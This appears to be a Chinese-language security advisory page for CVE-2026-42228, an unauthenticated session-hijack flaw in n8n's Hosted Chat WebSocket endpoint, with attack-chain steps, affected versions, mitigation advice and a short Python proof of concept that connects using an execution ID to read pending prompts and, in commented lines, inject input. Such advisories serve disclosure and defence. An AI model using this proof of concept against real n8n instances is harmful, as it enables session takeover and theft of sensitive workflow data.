IPBUF安全漏洞报告
English
CVE-2026-42228 CVSS 6.5 中危

CVE-2026-42228 n8n Hosted Chat权限绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42228
漏洞类型
权限缺失
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

权限缺失n8nWebSocket未授权访问工作流自动化

漏洞概述

n8n是一个开源工作流自动化平台。在特定版本之前,其Chat Trigger节点的Hosted Chat功能使用的/chat WebSocket端点存在安全缺陷,未验证传入连接是否有权与目标执行交互。未经身份验证的远程攻击者若能识别出处于等待状态的工作流执行ID,即可连接至该执行,窃取原本发给合法用户的提示内容,并提交任意输入以操纵工作流的后续行为。

技术细节

该漏洞的核心技术原理在于n8n平台在处理Chat Trigger节点的Hosted Chat功能时,未能对WebSocket通信端点(/chat)实施严格的权限验证机制。正常情况下,工作流执行到Chat Trigger节点时会暂停,并生成一个唯一的执行ID,等待用户通过WebSocket连接提交输入以恢复执行。然而,在受影响的版本中,系统仅依赖执行ID来定位会话,而完全忽略了连接发起者的身份认证与授权状态。攻击者可以通过网络嗅探、猜测或通过其他信息泄露渠道获取处于等待状态的工作流执行ID。一旦获得有效的ID,攻击者即可利用WebSocket客户端直接向服务端的/chat端点发起连接请求。连接成功后,由于缺乏鉴权,攻击者实质上接管了该工作流会话。他们可以接收服务端推送的原始提示数据(可能包含敏感的系统上下文或用户隐私),并构造任意数据作为响应提交。这允许攻击者绕过正常的业务审批流程,篡改工作流的执行路径,甚至注入恶意指令影响下游系统。

攻击链分析

STEP 1
侦察
攻击者探测目标n8n实例,寻找处于等待状态的工作流,并获取其执行ID(Execution ID)。
STEP 2
漏洞利用
攻击者利用获取的执行ID,无需认证直接向/chat WebSocket端点发起连接请求。
STEP 3
会话劫持
连接建立后,攻击者接收服务器发送的待处理提示信息,获取敏感上下文。
STEP 4
数据篡改
攻击者提交任意输入数据,强制恢复工作流执行,从而控制下游业务逻辑。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets async def exploit_n8n(target_url, execution_id): """ PoC for CVE-2026-42228: Connect to unauthorized WebSocket endpoint. """ # Construct the WebSocket URL using the target and execution ID ws_url = f"{target_url.replace('http', 'ws')}/chat?executionId={execution_id}" print(f"[*] Attempting to connect to: {ws_url}") try: async with websockets.connect(ws_url) as websocket: print("[+] Connection established. Waiting for messages...") # Listen for incoming messages (the pending prompt) while True: message = await websocket.recv() print(f"[DEBUG] Received: {message}") # Optionally send malicious input to resume workflow # payload = "{\"input\": \"malicious_data\"}" # await websocket.send(payload) # print(f"[DEBUG] Sent: {payload}") except Exception as e: print(f"[-] Error: {e}") # Usage # asyncio.run(exploit_n8n("http://target-n8n-instance.com", "VALID_EXECUTION_ID"))

影响范围

n8n < 1.123.32
n8n < 2.17.4
n8n < 2.18.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面对WebSocket端口实施严格的访问控制策略(如IP白名单),或者暂时禁用Chat Trigger节点的Hosted Chat功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表